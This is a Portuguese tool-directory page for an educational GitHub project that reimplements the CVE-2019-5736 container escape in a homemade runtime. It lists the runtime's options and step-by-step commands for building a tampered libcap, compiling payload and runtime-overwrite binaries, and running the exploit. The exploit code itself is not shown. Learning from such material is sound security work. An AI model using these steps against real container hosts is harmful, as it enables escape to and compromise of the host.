Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-5736-Custom-Runtime — CVE-2019-5736 implementado em um runtime de contêiner próprio para entender o exploit. | Kitploit
Ferramentas/GitHubGitHub/giverofgifts/cve-2019-5736-custom-runtime
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoEscape de ContêinerExploração de Binários
GitHubgiverofgifts/cve-2019-5736-custom-runtime

CVE-2019-5736-Custom-Runtime

CVE-2019-5736 implementado em um runtime de contêiner próprio para entender o exploit.

Ver Repositório
14há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2019-5736-Custom-Sandbox

Geral

CVE-2019-5736 implementado usando um runtime de contêineres simples, escrito manualmente, para entender o exploit.

O exploit é baseado no (e quase todo copiado do) runc-poc do twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC

Runtime de Contêineres (quarantine)

Consulte a documentação do código para obter mais detalhes.

root@kitploit:~
Usage: quarantine [OPTIONS] [BINARY and its ARGS]

--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid:    Specify the desired UID in the container.
--ugd:    Specify the desired GID in the container.
--supp:   Append supplementary groups from the specified grange to the process running in the container.

Todos os namespaces são desassociados, exceto o user ns. O user ns é desassociado sob circunstâncias especiais, ou seja, quando urange, , e/ou são especificados.

grange
uid
gid

Configuração para o exploit

Isso foi testado e feito no Ubuntu 18.04.

  1. Obtenha um rootfs (bionic, por exemplo)
    • mkdir rootfs
    • sudo debootstrap bionic ./rootfs
  2. Obtenha o código-fonte do libcap
    • git clone https://github.com/mhiramat/libcap
  3. Modifique o libcap
    • cat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>
    • make
  4. Faça chroot no rootfs e instale o libcap-dev para poder simplesmente vincular ao libcap.so modificado
    • sudo chroot rootfs
    • apt install libcap-dev
  5. Copie o arquivo libcap.so.2.25 criado para o diretório apropriado do rootfs -sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
    • Nota: Para mim, já havia um link apontando para exatamente essa versão do arquivo libcap, então não precisei criar o link.
    • Nota: Esse caminho pode mudar; sempre verifique onde o quarantine compilado espera que o libcap esteja: ldd quarantine
  6. Compile e copie os outros arquivos para o rootfs
    • sudo cp shebang_exploit rootfs/
    • sudo gcc -o rootfs/root/payload payload.c
    • sudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.c

Executar o exploit

Por exemplo: sudo ./quarantine --rootfs rootfs /shebang_exploit ou ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.

Funciona desde que você mantenha CAP_DAC_OVERRIDE ou CAP_SYS_ADMIN no host, ou seja, não desassocie o user ns ao usar sudo (pois isso remove as capabilities no namespace pai), ou que você seja o dono do arquivo no host.

Baixar ferramenta